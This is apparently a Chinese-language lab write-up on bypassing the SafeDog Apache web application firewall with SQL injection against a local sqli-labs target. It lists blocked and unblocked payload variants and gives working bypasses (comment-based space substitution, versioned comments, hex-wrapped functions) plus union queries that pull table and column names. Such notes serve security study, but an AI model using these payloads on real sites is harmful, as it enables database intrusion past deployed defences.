环境详情
采用本地搭建的最新版安全狗,仅用于学习交流,请勿用于实际环境
本地安装参考:解决本地安装安全狗
phpstudy: 2021版
网站安全狗: Apache V4.0.30255
靶场: sqli-labs-less1 (字符型注入)
打开安全狗,防护措施拉满,防御sql注入的也拉满
接下来开始我们的绕过
通用
and和or被拦截
--+ 不拦截
and 不拦截
and1 不拦截
and 1 拦截
and/*aaaa*/1拦截
and/*//*/1 不拦截
安全狗检测and和or是不会被拦截的,但是and空格,or空格会被拦截
?id=2 and1
?id=2 and 1
绕过方法是使用/*//*/
代替空格
联合查询
order by
order 不拦截
by 不拦截
orderby 不拦截
order /*!10440by*/ 拦截
order%0a%0aby拦截
/*!10000order*/%0a%0a/*!100440by*/拦截
orde/*//*/by 不拦截
安全狗过滤order by
也是order空格by
严格匹配,同样把空格换成/*//*/
就能绕过
union select
union 不拦截
select 不拦截
unionselect 拦截
+union --+1%0aselect 拦截
+union %23%0a+all+select+ 拦截
/*&id=-1'+union+select+1,2,3--+*/ 不拦截
+"/*" union select 1,2,3 "*/"--+ 不拦截
+'/*' union select 1,2,3 %23*/--+ 不拦截
union/*//*/select 拦截
/*!10440union*//*//*/select 拦截
union/*//*//*!10440select*/ 不拦截
/*!10440union*//*!10440select*/ 拦截
/*!10440union*//*//*//*!10440select*/ 不拦截
/*!10450union*//*//*//*!10440select*/ 不拦截
/*!10440union*//*aaaaaaaaa*/%0a/*!10440select*/拦截
获取数据库名
database()拦截
hex(database%0a())不拦截
hex(database/**/())不拦截
user()拦截
hex(user%0a()) 不拦截
hex(user/**/()) 不拦截
使用hacker的16进制解码就获取数据名和用户名了
获取表名
没有拦截?难道狗子觉得获取这个不重要
?id=-1'+'/*' union select 1,(select table_name from information_schema.tables where table_schema='security' limit 3,1),3 %23*/--+
获取字段名
依旧没有拦截
?id=-1'+'/*' union select 1,(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),3 %23*/--+
获取数据
还是没有拦截, 那就别怪我偷家了